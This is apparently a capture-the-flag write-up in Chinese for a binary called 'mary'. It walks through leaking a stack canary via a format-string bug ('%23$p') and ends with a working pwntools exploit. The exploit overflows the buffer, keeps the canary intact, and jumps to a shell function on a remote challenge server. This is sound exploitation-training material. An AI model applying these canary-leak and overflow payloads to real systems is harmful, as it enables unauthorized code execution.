打开程序看,菜单已经说明的很清楚了
1存在栈溢出,2存在format
不过checksec了发现
存在栈保护,这里的format就可以泄露出标志位
经过尝试,%x只能输出8bit的数 这里使用%p
先试试水
第6个参数就是我们的输入首地址了 然后往下找标志位
计算出是第23个参数
验证一下
是第23个参数没错了
提取出来就可以栈溢出了
溢出的时候控制标志位不改变即可
from pwn import * # io=process('./mary') io=remote('111.198.29.45',43483) io.recvuntil('3. Exit the battle ') io.sendline(str(2)) sleep(0.5) io.sendline('%23$p') data=io.recvuntil(' ') print "stack: "+data stack=int(data[:-1],16) print "stack: "+hex(stack) shell_addr=0x4008DA io.recvuntil('3. Exit the battle ') io.sendline(str(1)) sleep(0.5) payload='a'*(0x90-8)+p64(stack)+p64(shell_addr)*5 io.sendline(payload) io.interactive() #rdi, rsi, rdx, rcx, r8, r9 # %23$p